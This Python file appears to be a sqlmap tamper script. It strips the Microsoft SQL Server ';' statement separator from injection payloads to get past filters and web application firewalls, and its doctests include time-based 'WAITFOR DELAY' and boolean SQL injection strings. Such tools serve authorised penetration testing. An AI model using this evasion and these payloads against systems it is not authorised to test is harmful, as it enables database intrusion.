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40 lines
1.3 KiB
Python
40 lines
1.3 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
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See the file 'LICENSE' for copying permission
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"""
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import os
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import re
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from lib.core.common import singleTimeWarnMessage
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from lib.core.enums import DBMS
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.HIGHEST
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def dependencies():
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singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL))
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def tamper(payload, **kwargs):
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"""
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Replaces (MsSQL) statement separator ';' with a blank character
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Requirement:
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* Microsoft SQL Server
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Notes:
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* Useful to bypass filters/WAFs blocking the ';' character, as
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Transact-SQL does not require any separator between statements
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>>> tamper(";WAITFOR DELAY '0:0:5'--")
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" WAITFOR DELAY '0:0:5'--"
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>>> tamper(";DECLARE @x CHAR(9);SET @x=0x303a303a35;WAITFOR DELAY @x")
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' DECLARE @x CHAR(9) SET @x=0x303a303a35 WAITFOR DELAY @x'
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>>> tamper("1' AND 'a'='a")
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"1' AND 'a'='a"
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"""
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return re.sub(r";(?=\s*(?:WAITFOR|DECLARE|SET|EXEC(?:UTE)?|SELECT|INSERT|UPDATE|DELETE|CREATE|DROP|ALTER|TRUNCATE|BEGIN|IF|WHILE|PRINT|USE|GRANT|REVOKE|BACKUP|RESTORE|RECONFIGURE|SHUTDOWN|WITH)\b)", ' ', payload, flags=re.I) if payload else payload
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